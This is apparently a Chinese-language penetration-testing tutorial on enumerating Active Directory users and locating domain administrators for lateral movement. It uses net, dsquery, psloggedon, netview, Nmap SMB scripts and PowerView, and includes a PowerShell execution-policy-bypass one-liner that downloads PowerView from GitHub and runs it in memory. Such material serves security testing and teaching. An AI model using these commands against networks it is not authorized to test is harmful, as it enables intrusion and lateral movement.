行业新闻

获取域内管理员和用户信息

获取域内管理员和用户信息

1.查找所有域用户列表

   向域控制器进行查询

net user /domain

获取域内用户详细信息

wmic useraccount get /all

获取到的信息包含用户名描述信息SID,域名,状态等等。

获取存在用户(要在 Active Directory 域管理服务器上运行。

dsquery user
dsquery computer 查找目录中的计算机dsquery contact  查找目录中的联系人dsquery subnet   查找目录中的子网dsquery group    查找目录中的组dsquery ou       查找目录中的组织单位dsquery site     查找目录中的站点dsquery server   查找目录中的AD DC/LDS实例dsquery user     查找目录中的用户dsquery partition查找目录中的分区dsquery *        使用通用的LDAP查找目录中的所有对象

查找本地管理员组用户

net localgroup administrators

2.查询域管理用户组

查找域管理员用户

net group “domain admin”  /domain

查找管理员用户组

net group “Enterprise Admins”  /domain

3.快速定位域管理员

内网渗透的目标是拿到某台特定的用户或计算机的权限,进而拿到特定的数据。

常规定位域管理员的方法

日志:指的是本地机器的管理员日志,可以使用脚本或wevtutil导出查看。
会话:指的是域内每台机器的登录会话,可以使用netsess.exe或powerview等等工具查询 可以匿名查询,不用权限(常用)

常规域管理员定位的工具

如果我们拿到了一台普通用户权限windows计算机,想要在内网中横向移动,需要知道域内用户登录的位置,是否是本地管理员,他的,是否有权访问文件共亨等等。

常用的域管理员定位工具有psloggedon.exe,PVEFindADUser,exe,netsess,exe以及hunerNetview等等。

PowerShell中,常用的工具是PowerView

psloggedon.exe

Windows平台上使用psloggedon.exe,可以查看本地登录的用户和通过本地计算机远程计算机资源登录的用户,原理是通过检查注册表HKEY USERS项key值来查询谁登录过(HKEY_USERS根键包括默认用户的信息(DEFAULT子键)和所有以前登陆的用户的信息.)但是有些功能需要管理员权限才能调用,而且会调用NetSessionEnum API。

一般来说不用加参数 psloggedon.exe //dc 就行

PVEFindADUser.exe(要管理员权限)

2009年放出来的工具。可以查找活动目录用户登录的位置枚举域用户等等。

PVEFindADUser.exe -h 显示帮助信息
                  -current["username"]列出目标计算机上当前登录的所有用户/显示该用户登录的计算机
其他命令不多说,百度就ok

netview.exe(小部分要管理员权限)

利用 NetSessionEnum 来找寻登陆sessions, 利用NetShareEnum来找寻共享 , 利用 NetWkstaUserEnum 来枚举登陆的用户。调用Api太多不是个好事。

netview.exe 参数
常见参数
-h 查看帮助信息
-d 从当前域中提取主机列表 -d domian 指定提取主机列表的域
-g 在Domain admins组中搜索组名 -g group 指定搜索组名
-c 对找到的共享目录/文件的访问权限进行检查

Nmap的NSE脚本

如果存在域账号/本地账号,我们可以使用Nmapsmb-enum-session.nse脚本来获取远程机器的登录会话

https://nmap.org/nsedoc/scripts/smb-enum-sessions.html

用法示例

nmap --script smb-enum-sessions.nse -p445 sudo nmap -sU -sS --script smb-enum-sessions.nse -p U:137,T:139 

其他nmap脚本

smb-enum-users.nse下载:https ://svn.nmap.org/nmap/scripts/smb-enum-users.nse使用SAMR枚举或LSA暴力破解不同的技术来枚举远程Windows系统上的用户,并提供尽可能多的信息。默认情况下,两者都使用,但是它们具有特定的优点和缺点。最好同时使用两者,但在某些情况下,最好优先选择两者。用法示例nmap --script smb-enum-users.nse -p445 sudo nmap -sU -sS --script smb-enum-users.nse -p U:137,T:139 
smb-enum-domains.nse下载https://svn.nmap.org/nmap/scripts/smb-enum-domains.nse尝试枚举系统上的域及其策略。可以获取主机信息,用户,可使用的密码策略的用户等等。用法示例nmap --script smb-enum-domains.nse -p445 sudo nmap -sU -sS --script smb-enum-domains.nse -p U:137,T:139 

Powershell下的脚本

powerView脚本

本地调用 powershell.exe -exec bypass -command "&"远程调用 powershell.exe -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1');invoke-stealithuserhunter"域中定位域管理员:Invoke-UserHunter命令,在使用时不需要管理员权限;获取域内所有用户:invoke-stealthuserhunter命令,在使用时不需要管理员权限;隐蔽性高。优先使用其他Get-NetDomain: 获取当前用户所在域的名称Get-NetUser: 获取所有用户的详细信息Get-NetDomainController: 获取所有域控制器的信息Get-NetComputer: 获取域内所有机器的详细信息Get-NetOU: 获取域中的OU信息Get-NetGroup: 获取所有域内组和组成员信息Get-NetFileServer: 根据SPN获取当前域使用的文件服务器信息Get-NetShare: 获取当前域内所有网络共享信息Get-NetSession: 获取指定服务器的会话Get-NetRDPSession: 获取指定服务器的远程连接Get-NetProcess: 获取远程主机的进程Get-UserEvent: 获取指定用户的日志Get-ADObiect: 获取活动目录的对象Get-NetGPO: 获取域内所有的组策略对象Get-DomainPolicy: 获取域默认策略或域控制器策略Invoke-UserHunter: 获取域用户登录的计算机信息及该用户是否有本地管理员权限Invoke-ProcessHunter: 通过查询域内所有的机器进程找到特定用户Invoke-UserEvenHunter: 根据用户日志查询某域用户登录过哪些域机器。
关闭